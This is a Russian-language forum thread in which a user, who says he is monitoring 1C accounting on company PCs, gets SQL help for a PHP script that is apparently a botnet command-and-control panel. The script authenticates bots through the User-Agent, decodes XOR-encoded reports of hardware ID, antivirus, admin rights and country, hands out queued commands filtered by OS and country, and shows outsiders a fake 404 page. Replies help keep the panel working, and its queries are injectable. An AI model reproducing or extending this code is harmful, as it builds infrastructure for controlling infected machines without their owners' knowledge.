имею в компании несколько компьютеров, нужно проверять работу 1с бухгалтерии на каждой машинке постоянно. скрипт приема инфы от чекера: Код (PHP): <?php include_once('includes/config.php'); include_once('includes/xor.php'); include_once('includes/hexdecode.php'); if ($_SERVER['HTTP_USER_AGENT'] == htmlentities($accesspwd)) { if ($accesspwd == htmlentities($_POST["key"])) { include("includes/GeoIP.inc"); $ip = $_SERVER['REMOTE_ADDR']; $gi = geoip_open("includes/GeoIP.dat", GEOIP_STANDARD); $countrycode = geoip_country_code_by_addr($gi, $ip); $country = geoip_country_name_by_addr($gi, $ip); if ($countrycode == NULL) { $countrycode = "XX"; } if ($country == NULL) { $country = "Unknown"; } geoip_close($gi); $time = time(); $string = $_POST["string"]; $string = hextostr($string); $string = sXOR($string, $accesspwd); $string = htmlentities($string); $array = explode("::", $string); $hwid = $array[0]; $so = $array[1]; $userpc = $array[2]; $ram = $array[3]; $av = $array[4]; $usb = $array[5]; $admin = $array[6]; $pc_cpu = $array[7]; $pc_gpu = $array[8]; $1cproc = $array[9]; $status = "Online"; if (mysql_num_rows(mysql_query("SELECT * FROM company WHERE hwid = '$hwid'")) < 1) { mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')"); } else { mysql_query("UPDATE company SET time='$time' WHERE hwid='$hwid'"); mysql_query("UPDATE company SET status='Online' WHERE hwid='$hwid'"); } $soList = array('8', '7', 'vista', 'xp', 'unkn'); foreach($soList as $soLi){ if(strpos(strtolower($so), $soLi) != false){ $soSel = $soLi; break; } } $countrylower = strtolower($country); $result = mysql_query("SELECT * FROM cmd WHERE id NOT IN (SELECT id FROM history WHERE hwid = '$hwid') AND LOWER(os) LIKE '%$soSel%' OR os = 'All' AND LOWER(country) LIKE '%$countrylower%' OR country = 'All';"); $row = mysql_fetch_array($result); if (!mysql_num_rows(mysql_query("SELECT * FROM history WHERE hwid = '$hwid' && id = '$row[id]';"))) { echo bin2hex($row['cmd']); mysql_query("INSERT INTO history (id, hwid) VALUES ($row[id], '$hwid') "); mysql_query("UPDATE cmd SET done = done + 1 WHERE id = $row[id]"); } mysql_query("DELETE FROM cmd WHERE done >= amount"); } else { header('HTTP/1.0 404 Not Found'); echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL; echo '<html><head>'.PHP_EOL; echo '<title>404 Not Found</title>'.PHP_EOL; echo '</head><body>'.PHP_EOL; echo '<h1>Not Found</h1>'.PHP_EOL; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL; echo '<p>Additionally, a 404 Not Found'.PHP_EOL; echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL; echo '</body></html>'.PHP_EOL; exit(); } } else { header('HTTP/1.0 404 Not Found'); echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL; echo '<html><head>'.PHP_EOL; echo '<title>404 Not Found</title>'.PHP_EOL; echo '</head><body>'.PHP_EOL; echo '<h1>Not Found</h1>'.PHP_EOL; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL; echo '<p>Additionally, a 404 Not Found'.PHP_EOL; echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL; echo '</body></html>'.PHP_EOL; exit(); } ?> нужно, чтобы значение 1cproc обновлялось, как это сделать? программа стучит в php каждые 5 минут. PHP, JavaScript, SQL и другой код пишите внутри тегов Код ( (Unknown Language)): [b]php][/b]Тут код[b][/[/b][b]code][/b][/color]
Делать update. 1. Программа передаёт в PHP данные о себе, предположу что идентифицировать компьютер как уникальный можно по $hwid 2. Делаем проверку: есть ли $hwid в базе, и если есть делаем UPDATE, если нету, делаем INSERT 3. В таблице базы данных сделай hwid уникальным и можно использовать вот это https://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html
hwid сам по себе уникальный. тобишь мне нужно написать, если hwid существует в бд, обновить значение 1cproc? как это может выглядеть? с php столкнулся впервые.
это можно сделать с помощью mysql, сделай поле hwid уникальным и потом это один запрос Код (PHP): INSERT INTO table (a,b,c) VALUES (1,2,3) ON DUPLICATE KEY UPDATE c=c+1; если hwid нету, то будет вставлена новая строка, а если он уже есть в базе, то сделай обновление для 1cproc
как это должно выглядеть в моем примере, у меня что-то не получается, никогда не работал с мускулом, только при настройке сервера ла2, но то другая история.
Код (PHP): INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc') ON DUPLICATE KEY UPDATE hwid=$hwid; hwid в схеме базы должна быть unique
прописал вместо Код (PHP): mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')"); ваш пример Код (PHP): mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc') ON DUPLICATE KEY UPDATE hwid=$hwid;"); но не обновляет значение и так тоже не обновляет значение Код (PHP): if (mysql_num_rows(mysql_query("SELECT * FROM company WHERE hwid = '$hwid'")) < 1) { mysql_query("INSERT INTO company (time, ip, hwid, country, countrycode, so, userpc, ram, av, status, usb, admin, pc_cpu, pc_gpu, 1cproc) VALUES ('$time', '$ip', '$hwid', '$country', '$countrycode', '$so', '$userpc', '$ram', '$av', '$status', '$usb', '$admin', '$pc_cpu', '$pc_gpu', '$1cproc')"); } else { mysql_query("UPDATE company SET time='$time' WHERE hwid='$hwid'"); mysql_query("UPDATE company SET 1cproc='$1cproc' WHERE hwid='$hwid'"); mysql_query("UPDATE company SET status='Online' WHERE hwid='$hwid'"); }
imblaze сделай экспорт/dump схемы таблицы company и выложи сюда, на основе него попробую написать работающий пример
Код (PHP): -- Делаем VARCHAR чтобы можно было сделать UNIQUE ALTER TABLE `company` CHANGE `hwid` `hwid` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; -- Делаем поле UNIQUE ALTER TABLE `company` ADD UNIQUE( `hwid`); -- Вставка или обновление при дубли hwid в одном запросе INSERT INTO `test2`.`company` (`id`, `hwid`, `time`, `ip`, `country`, `countrycode`, `so`, `userpc`, `ram`, `1cproc`, `av`, `status`, `usb`, `admin`, `pc_cpu`, `pc_gpu`) VALUES (NULL, '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', 'False', 'False', '1', '1') ON DUPLICATE KEY UPDATE `status`= 5;
сделал так, но теперь вообще не кидает в бд Код (PHP): <?php include_once('includes/config.php'); include_once('includes/xor.php'); include_once('includes/hexdecode.php'); if ($_SERVER['HTTP_USER_AGENT'] == htmlentities($accesspwd)) { if ($accesspwd == htmlentities($_POST["key"])) { include("includes/GeoIP.inc"); $ip = $_SERVER['REMOTE_ADDR']; $gi = geoip_open("includes/GeoIP.dat", GEOIP_STANDARD); $countrycode = geoip_country_code_by_addr($gi, $ip); $country = geoip_country_name_by_addr($gi, $ip); if ($countrycode == NULL) { $countrycode = "XX"; } if ($country == NULL) { $country = "Unknown"; } geoip_close($gi); $time = time(); $string = $_POST["string"]; $string = hextostr($string); $string = sXOR($string, $accesspwd); $string = htmlentities($string); $array = explode("::", $string); $hwid = $array[0]; $so = $array[1]; $userpc = $array[2]; $ram = $array[3]; $av = $array[4]; $usb = $array[5]; $admin = $array[6]; $pc_cpu = $array[7]; $pc_gpu = $array[8]; $1cproc = $array[9]; $status = "Online"; if (mysql_num_rows(mysql_query("SELECT * FROM company WHERE hwid = '$hwid'")) < 1) { mysql_query("ALTER TABLE `company` CHANGE `hwid` `hwid` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;"); mysql_query("ALTER TABLE `company` ADD UNIQUE( `hwid`);"); mysql_query("INSERT INTO `company` (`id`, `hwid`, `time`, `ip`, `country`, `countrycode`, `so`, `userpc`, `ram`, `1cproc`, `av`, `status`, `usb`, `admin`, `pc_cpu`, `pc_gpu`) VALUES (NULL, '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', '1', 'False', 'False', '1', '1') ON DUPLICATE KEY UPDATE `status`= 5;"); } else { mysql_query("UPDATE company SET time='$time' WHERE hwid='$hwid'"); mysql_query("UPDATE company SET status='Online' WHERE hwid='$hwid'"); } $soList = array('8', '7', 'vista', 'xp', 'unkn'); foreach($soList as $soLi){ if(strpos(strtolower($so), $soLi) != false){ $soSel = $soLi; break; } } $countrylower = strtolower($country); $result = mysql_query("SELECT * FROM cmd WHERE id NOT IN (SELECT id FROM history WHERE hwid = '$hwid') AND LOWER(os) LIKE '%$soSel%' OR os = 'All' AND LOWER(country) LIKE '%$countrylower%' OR country = 'All';"); $row = mysql_fetch_array($result); if (!mysql_num_rows(mysql_query("SELECT * FROM history WHERE hwid = '$hwid' && id = '$row[id]';"))) { echo bin2hex($row['cmd']); mysql_query("INSERT INTO history (id, hwid) VALUES ($row[id], '$hwid') "); mysql_query("UPDATE cmd SET done = done + 1 WHERE id = $row[id]"); } mysql_query("DELETE FROM cmd WHERE done >= amount"); } else { header('HTTP/1.0 404 Not Found'); echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL; echo '<html><head>'.PHP_EOL; echo '<title>404 Not Found</title>'.PHP_EOL; echo '</head><body>'.PHP_EOL; echo '<h1>Not Found</h1>'.PHP_EOL; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL; echo '<p>Additionally, a 404 Not Found'.PHP_EOL; echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL; echo '</body></html>'.PHP_EOL; exit(); } } else { header('HTTP/1.0 404 Not Found'); echo '<!DOCTYPE HTML PUBLIC "-IETFDTD HTML 2.0EN">'.PHP_EOL; echo '<html><head>'.PHP_EOL; echo '<title>404 Not Found</title>'.PHP_EOL; echo '</head><body>'.PHP_EOL; echo '<h1>Not Found</h1>'.PHP_EOL; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>'.PHP_EOL; echo '<p>Additionally, a 404 Not Found'.PHP_EOL; echo 'error was encountered while trying to use an ErrorDocument to handle the request.</p>'.PHP_EOL; echo '</body></html>'.PHP_EOL; exit(); } ?>
-- Делаем VARCHAR чтобы можно было сделать UNIQUE и -- Делаем поле UNIQUE нужно сделать один раз ручками в phpmyadmin например. Это чтобы изменить схему таблицы и уже потом используй INSERT, перед тем как писать PHP потренируйся в phpmyadmin, так ты будешь уверен что всё работает. И отладку можно сделать если что-то не работает http://phpfaq.ru/debug
не понимаю, может я что-то не так делаю. не работает после правок. исходная версия работает, но не обновляет значение процесса.
да уж наверняка! старайся, чо. ты понял как работает INSERT ON DUPLICATE KEY UPDATE ? когда поймешь, дальше не будет никаких сложностей. подсказка: когда INSERT не получился из-за нарушения уникальности, в части UPDATE должно обновляться … что? подумай. почитай. спроси.
разобрался, теперь всё в норме. с клиентской частью малость проблема сейчас. при запуске прога собирает инфу, потом скидывает ее к php, и дальше просто стучит теми-же данными для обновления времени.